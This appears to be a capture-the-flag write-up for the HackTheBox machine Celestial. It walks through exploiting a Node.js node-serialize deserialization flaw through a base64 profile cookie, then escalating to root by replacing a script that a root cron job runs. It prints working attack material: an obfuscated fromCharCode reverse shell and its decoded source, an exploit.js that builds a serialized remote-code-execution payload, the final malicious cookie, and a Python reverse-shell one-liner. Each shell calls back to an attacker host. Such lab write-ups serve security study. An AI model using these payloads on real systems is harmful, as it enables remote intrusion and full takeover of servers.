Celestial is a fairly easy box that gives us a chance to play with deserialization vulnerabilities in Node.js. Weather it’s in struts, or python’s pickle, or in Node.js, deserialization of user input is almost always a bad idea, and here’s we’ll show why. To escalate, we’ll take advantage of a cron running the user’s code as root.

nmap

An nmap scan of the box shows port 3000 running http open:

root@kali:~/hackthebox/celestial-10.10.10.85# mkdir nmap; nmap -sC -sV -oA nmap/initial 10.10.10.85
Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-01 20:19 EDT
Nmap scan report for 10.10.10.85
Host is up (0.10s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.76 seconds

nmap doesn’t tell us, but port 3000 is the default port for Node.js / Express.

Web - port 3000

Site

Visiting the site just gives a small response:

<h1>404</h1>

Looking a bit deeper with burp, that response is interesting:

HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 02 Apr 2018 00:47:44 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 12
ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Date: Mon, 02 Apr 2018 00:32:44 GMT
Connection: close

<h1>404</h1>

Two things to note:

  • “X-Powered-By: Express” - this is in line with our suspicious about port 3000 being Express.
  • There’s a cookie set, and it looks base64 encoded.

On refresh, the page returns:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 21
ETag: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg"
Date: Mon, 02 Apr 2018 00:33:59 GMT
Connection: close

Hey Dummy 2 + 2 is 22

NodeJS Deserialization

The cookie set on the page is base64. Let’s decode:

root@kali:~/hackthebox/celestial-10.10.10.85# echo eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ== | base64 -d
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Change the number and resubmit, and get expected result:

root@kali:~/hackthebox/celestial-10.10.10.85# echo eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ== | base64 -d | sed 's/"2"/"5"/g' | base64 -w0
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjUifQ==

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 21
ETag: W/"15-siRVVHgVZXIL4Rh1AHWdN5rJnA0"
Date: Mon, 02 Apr 2018 00:37:03 GMT
Connection: close

Hey Dummy 5 + 5 is 55

It is easy to make the page crash by messing with the parameters, giving it non-string values, etc.

Deserialization Attack

This is a great blog post on deserialization in Node.js:

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

It also happens to provide a roadmap towards getting shell on Celestial.

Create Node Reverse Shell

We’ll use the nodejsshell.py to create a simple reverse shell in js:

root@kali:~/hackthebox/celestial-10.10.10.85# python /opt/Node.Js-Security-Course/nodejsshell.py 10.10.14.139 1337
[+] LHOST = 10.10.14.139
[+] LPORT = 1337
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,49,51,57,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

To see what that code really is, we can easily decode:

>>> ints = [10,118,97,114,32,110,101,116,32,61...
>>> print(''.join([chr(x) for x in ints]))

var net = require('net');
var spawn = require('child_process').spawn;
HOST="10.10.14.139";
PORT="1337";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);

Generate Serialized Payload

Next we’ll create exploit.js, which will create the serialized payload by putting some wrapping around the shell we just created:

var y = {
  rce: function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,49,51,57,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}
}
var serialize = require('node-serialize');
var s = serialize.serialize(y)
console.log("Serialized: \n" + s.slice(0,-2) + "()" + s.slice(-2,));

This is the same format used in the blog post, though I added the slicing in the last line to add the “()”, where as he added it manually to the output.

Now run it with node to get the serialized output:

root@kali:~/hackthebox/celestial-10.10.10.85# nodejs exploit.js
Serialized:
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,49,51,57,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Finally, we’ll base64 encode that to get to the format of the cookie. I’ll use tail -n +2 to drop the first line:

root@kali:~/hackthebox/celestial-10.10.10.85# nodejs exploit.js | tail -n +2 | base64 -w0
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDQ4LDQ2LDQ5LDQ4LDQ2LDQ5LDUyLDQ2LDQ5LDUxLDU3LDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDQ5LDUxLDUxLDU1LDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSw2MSw2MSwzMiwzOSwxMTcsMTEwLDEwMCwxMDEsMTAyLDEwNSwxMTAsMTAxLDEwMCwzOSw0MSwzMiwxMjMsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTA1LDExNiw0MSwzMiwxMjMsMzIsMTE0LDEwMSwxMTYsMTE3LDExNCwxMTAsMzIsMTE2LDEwNCwxMDUsMTE1LDQ2LDEwNSwxMTAsMTAwLDEwMSwxMjAsNzksMTAyLDQwLDEwNSwxMTYsNDEsMzIsMzMsNjEsMzIsNDUsNDksNTksMzIsMTI1LDU5LDMyLDEyNSwxMCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsMzIsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiwzMiw2MSwzMiwxMTAsMTAxLDExOSwzMiwxMTAsMTAxLDExNiw0Niw4MywxMTEsOTksMTA3LDEwMSwxMTYsNDAsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0Niw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDQwLDgwLDc5LDgyLDg0LDQ0LDMyLDcyLDc5LDgzLDg0LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiwxMTUsMTA0LDMyLDYxLDMyLDExNSwxMTIsOTcsMTE5LDExMCw0MCwzOSw0Nyw5OCwxMDUsMTEwLDQ3LDExNSwxMDQsMzksNDQsOTEsOTMsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTksMTE0LDEwNSwxMTYsMTAxLDQwLDM0LDY3LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDUsMTEwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTExLDExNywxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDEsMTE0LDExNCw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExMSwxMTAsNDAsMzksMTAxLDEyMCwxMDUsMTE2LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw5OSwxMTEsMTAwLDEwMSw0NCwxMTUsMTA1LDEwMywxMTAsOTcsMTA4LDQxLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDEwMSwxMTAsMTAwLDQwLDM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9Cg==

Submit Payload / Shell as sun

Use burp to intercept a web request and add our modified cookie. One submitting, the page returns:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 41
ETag: W/"29-mT0hiiE62mfFMAIMRMkQ7Q6tVaM"
Date: Mon, 02 Apr 2018 18:37:44 GMT
Connection: close

An error occurred...invalid username type

But at the same time:

root@kali:~/hackthebox/celestial-10.10.10.85# nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.139] from (UNKNOWN) [10.10.10.85] 50768
Connected!

python -c 'import pty;pty.spawn("/bin/bash")'
sun@sun:~$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

user.txt

Flag is easy to find in user directory:

sun@sun:~$ find . -name user.txt 2>/dev/null
./Documents/user.txt

sun@sun:~$ wc -c ./Documents/user.txt
33 ./Documents/user.txt

sun@sun:~$ cat ./Documents/user.txt
9a093cd2...

Privesc: sun -> root

Identifying cron

Manually

The home directory of sun has a bunch of files in it:

sun@sun:~$ ls -l
total 56
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Desktop
drwxr-xr-x  2 sun  sun  4096 Mar  4 15:08 Documents
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Downloads
-rw-r--r--  1 sun  sun  8980 Sep 19  2017 examples.desktop
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Music
drwxr-xr-x 47 root root 4096 Sep 19  2017 node_modules
-rw-r--r--  1 root root   21 Mar  4 15:40 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Pictures
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Public
-rw-rw-r--  1 sun  sun   870 Sep 20  2017 server.js
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Templates
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Videos

Looking at the file modify times, it’s clear that output.txt is very recently updated. In fact, it’s being updated every 5 minutes:

sun@sun:~$ date
Mon Apr  2 14:49:32 EDT 2018

sun@sun:~$ ls -l output.txt
-rw-r--r-- 1 root root 21 Apr  2 14:45 output.txt

sun@sun:~$ date
Mon Apr  2 14:50:03 EDT 2018

sun@sun:~$ ls -l output.txt
-rw-r--r-- 1 root root 21 Apr  2 14:50 output.txt

sun@sun:~$ ls -l output.txt
ls -l output.txt
-rw-r--r-- 1 root root 21 Apr  2 14:55 output.txt

sun@sun:~$ cat output.txt
Script is running...

In the Documents directory next to user.txt, there’s a script.py that creates that output:

sun@sun:~/Documents$ ls
script.py  user.txt

sun@sun:~/Documents$ cat script.py
print "Script is running..."

With pspy

There are enough clues on this host that simple enumeration should tip us off to the cron. But, in other cases, we won’t be so lucky. This is a cool chance to show off an awesome tool, pspy. I gave a quick overview on how to install it in the Aragog write-up . But let’s run it here just for kicks.

After using python3 -m http.server 80 and wget from Celestial to move the pspy64 binary to the /tmp dir, we’ll run it. After spitting out a bunch of errors and then info on all the running processes, it stops and waits. When the 5 minute point comes around, here’s what we see:

2018/08/25 07:35:01 CMD: UID=0    PID=4784   |
2018/08/25 07:35:01 CMD: UID=0    PID=4783   | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
2018/08/25 07:35:01 CMD: UID=0    PID=4782   | /usr/sbin/CRON -f
2018/08/25 07:35:01 CMD: UID=0    PID=4785   |
2018/08/25 07:35:01 CMD: UID=0    PID=4786   | chown sun:sun /home/sun/Documents/script.py
2018/08/25 07:35:01 CMD: UID=0    PID=4787   | chattr -i /home/sun/Documents/script.py
2018/08/25 07:35:01 CMD: UID=???  PID=4788   | ???

I’ll look at the cron in the “Other Stuff” section at the end, but we basically get all of it right here. Very cool!

Hijack cron / Shell as root

So, hijack that file. Create a python rev shell one liner. Save the original script so we can put it back when we’re done, and put ours into place:

sun@sun:~/Documents$ cat s
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.139",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

sun@sun:~/Documents$ mv script.py script.py.bk; mv s script.py;

And, when the cron runs, we get shell:

root@kali:~/hackthebox/celestial-10.10.10.85# nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.139] from (UNKNOWN) [10.10.10.85] 58248
/bin/sh: 0: can't access tty; job control turned off

# id
uid=0(root) gid=0(root) groups=0(root)

root.txt

With shell, grab flag:

# pwd
/root

# ls
root.txt
script.py

# wc -c root.txt
33 root.txt

# cat root.txt
ba1d0019...

Other Stuff

server.js

The code for the server that was running is found in the sun homedir in server.js:

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     var sum = eval(obj.num + obj.num);
     res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
   }else{
     res.send("An error occurred...invalid username type");
   }
}else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("<h1>404</h1>");
});
app.listen(3000);

We can see how if there’s no cookie, it sets one and sends “404”, and how if there is, it uses unserialize and then reads values to make a string.

cron

As root, we can see the cron job that is running script.py, and then copying the script.py from /root to reset it to it’s original value:

# crontab -l | grep -vF "#"
*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py

The cron also sets the timestamps on script.py to match user.txt, so that it’s not obvious that it’s being update regularly. To do this, it uses date -R -r, which returns the modification time on user.txt in RFC 5322 format. This is passed as an argument to touch, where the -d flag allows us to set the timestamp instead of using the current time.